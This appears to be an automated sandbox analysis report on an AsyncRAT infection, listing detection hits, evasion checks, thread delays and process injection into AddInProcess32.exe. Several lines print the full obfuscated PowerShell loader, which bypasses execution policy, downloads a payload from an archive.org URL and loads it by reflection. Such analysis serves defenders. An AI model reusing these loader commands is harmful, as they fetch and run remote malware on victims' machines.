Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfb57c99b8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 1760, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 1010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 1400000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_00007FF887989009 sldt word ptr fs:[eax]

4_2_00007FF887989009

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1495	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2082	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3309	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 3754	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 6096	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4212	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1544	Thread sleep count: 3309 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3892	Thread sleep count: 6516 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3492	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5944	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 6424	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3736	Thread sleep count: 3754 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3736	Thread sleep count: 6096 > 30	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000004.00000002.1528127542.000001DFCD640000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2712121235.00000000053B5000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2712121235.00000000052C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AddInProcess32.exe, 00000005.00000002.2701969146.00000000010F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 40E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 410000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: A69008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'swv4kcaojzknkydqrhvybca9ihynkydlnwh0jysndccrj3ankydzoi8vawe2mccrjzaxmdaudxmuyscrj3jjaccrj2l2zs5vjysncmcvmicrjzqvaxrlbxmvzgv0yscrj2gtjysnbm90zs12l0qnkydldgfojysntm90zvyudhh0jysndmu1oycrjzlqrgjhc2u2nenvjysnbnqnkydlbnqnkycgpsaoticrj2v3lu9iaicrj2vjjysndcbtexmnkyd0zw0nkycujysntmv0lldlyknsawvudckurg93bmwnkydvywrtjysndhinkydpbmcoowpedxinkydsjysnkts5akrijysnaw5hjysncnknkyddjysnb250zw50id0gjysnw1n5cycrj3rlbs4nkyddb252zxj0xto6rnjvbscrj0jhjysnc2u2nfn0cicrj2knkyduzygnkyc5jysnakriyxnlnjrdb24nkyd0zw4nkyd0kts5akrhc3nlbwjsesa9iftsjysnzwzszwn0jysnaw9ulkfzc2vtymwnkyd5xto6tg9hzcg5akqnkydiaw4nkydhcnldb24nkyd0zw4nkyd0kts5akqnkyd0exblid0goscrj2peyxnzzw1ijysnbhkur2v0jysnvhknkydwzsh2ztvsdw5qrs5ib21ldicrj2u1kts5jysnakqnkydtzxrob2qgpsa5aicrj0r0jysnexankydllkdlde1ldghvzch2ztvwqul2ztupozlqrg1ldccrj2hvzc4nkydjbnynkydvjysna2uoowpebnvsbccrjywgw29iamvjdccrj1snkyddxuaodmu1mc9nticrj1rhjysnqs9kl2vllmv0c2fwly86c3b0jysndggnkyd2ztuglcb2ztvkzxmnkydhdgl2ywrvdmu1icwgdmu1zgvzyxrpjysndmfkb3zlnsankycsiccrj3zlnwrlc2f0axynkydhzg92jysnztusdmunkyc1qwrksw4nkydqcicrj29jzscrj3nzmzj2ztusdmu1dmu1jysnkscrjyknks5szvbsyunlkcc5akqnlftzdhjjtkddw0noqvjdmzyplljlugxhq2uoj3zlnscsw3n0cklor11bq2hbul0zoskgkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "iex( ('9'+'jdurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/d'+'etah'+'notev.txt'+'ve5;'+'9jdbase64co'+'nt'+'ent'+' = (n'+'ew-obj'+'ec'+'t sys'+'tem'+'.'+'net.webclient).downl'+'oads'+'tr'+'ing(9jdur'+'l'+');9jdb'+'ina'+'ry'+'c'+'ontent = '+'[sys'+'tem.'+'convert]::from'+'ba'+'se64str'+'i'+'ng('+'9'+'jdbase64con'+'ten'+'t);9jdassembly = [r'+'eflect'+'ion.assembl'+'y]::load(9jd'+'bin'+'arycon'+'ten'+'t);9jd'+'type = 9'+'jdassemb'+'ly.get'+'ty'+'pe(ve5runpe.homev'+'e5);9'+'jd'+'method = 9j'+'dt'+'yp'+'e.getmethod(ve5vaive5);9jdmet'+'hod.'+'inv'+'o'+'ke(9jdnull'+', [object'+'['+']]@(ve50/mn'+'ta'+'a/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5addin'+'pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').replace('9jd',[string][char]36).replace('ve5',[string][char]39) )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'swv4kcaojzknkydqrhvybca9ihynkydlnwh0jysndccrj3ankydzoi8vawe2mccrjzaxmdaudxmuyscrj3jjaccrj2l2zs5vjysncmcvmicrjzqvaxrlbxmvzgv0yscrj2gtjysnbm90zs12l0qnkydldgfojysntm90zvyudhh0jysndmu1oycrjzlqrgjhc2u2nenvjysnbnqnkydlbnqnkycgpsaoticrj2v3lu9iaicrj2vjjysndcbtexmnkyd0zw0nkycujysntmv0lldlyknsawvudckurg93bmwnkydvywrtjysndhinkydpbmcoowpedxinkydsjysnkts5akrijysnaw5hjysncnknkyddjysnb250zw50id0gjysnw1n5cycrj3rlbs4nkyddb252zxj0xto6rnjvbscrj0jhjysnc2u2nfn0cicrj2knkyduzygnkyc5jysnakriyxnlnjrdb24nkyd0zw4nkyd0kts5akrhc3nlbwjsesa9iftsjysnzwzszwn0jysnaw9ulkfzc2vtymwnkyd5xto6tg9hzcg5akqnkydiaw4nkydhcnldb24nkyd0zw4nkyd0kts5akqnkyd0exblid0goscrj2peyxnzzw1ijysnbhkur2v0jysnvhknkydwzsh2ztvsdw5qrs5ib21ldicrj2u1kts5jysnakqnkydtzxrob2qgpsa5aicrj0r0jysnexankydllkdlde1ldghvzch2ztvwqul2ztupozlqrg1ldccrj2hvzc4nkydjbnynkydvjysna2uoowpebnvsbccrjywgw29iamvjdccrj1snkyddxuaodmu1mc9nticrj1rhjysnqs9kl2vllmv0c2fwly86c3b0jysndggnkyd2ztuglcb2ztvkzxmnkydhdgl2ywrvdmu1icwgdmu1zgvzyxrpjysndmfkb3zlnsankycsiccrj3zlnwrlc2f0axynkydhzg92jysnztusdmunkyc1qwrksw4nkydqcicrj29jzscrj3nzmzj2ztusdmu1dmu1jysnkscrjyknks5szvbsyunlkcc5akqnlftzdhjjtkddw0noqvjdmzyplljlugxhq2uoj3zlnscsw3n0cklor11bq2hbul0zoskgkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "iex( ('9'+'jdurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/d'+'etah'+'notev.txt'+'ve5;'+'9jdbase64co'+'nt'+'ent'+' = (n'+'ew-obj'+'ec'+'t sys'+'tem'+'.'+'net.webclient).downl'+'oads'+'tr'+'ing(9jdur'+'l'+');9jdb'+'ina'+'ry'+'c'+'ontent = '+'[sys'+'tem.'+'convert]::from'+'ba'+'se64str'+'i'+'ng('+'9'+'jdbase64con'+'ten'+'t);9jdassembly = [r'+'eflect'+'ion.assembl'+'y]::load(9jd'+'bin'+'arycon'+'ten'+'t);9jd'+'type = 9'+'jdassemb'+'ly.get'+'ty'+'pe(ve5runpe.homev'+'e5);9'+'jd'+'method = 9j'+'dt'+'yp'+'e.getmethod(ve5vaive5);9jdmet'+'hod.'+'inv'+'o'+'ke(9jdnull'+', [object'+'['+']]@(ve50/mn'+'ta'+'a/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5addin'+'pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').replace('9jd',[string][char]36).replace('ve5',[string][char]39) )"	Jump to behavior

Source: AddInProcess32.exe, 00000005.00000002.2703147210.0000000002E1F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2703147210.0000000002DF1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2703147210.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: AddInProcess32.exe, 00000005.00000002.2703147210.0000000002E1F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2703147210.0000000002DF1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2703147210.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe
Source: AddInProcess32.exe, 00000005.00000002.2703147210.0000000002E1F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2703147210.0000000002DF1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2703147210.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
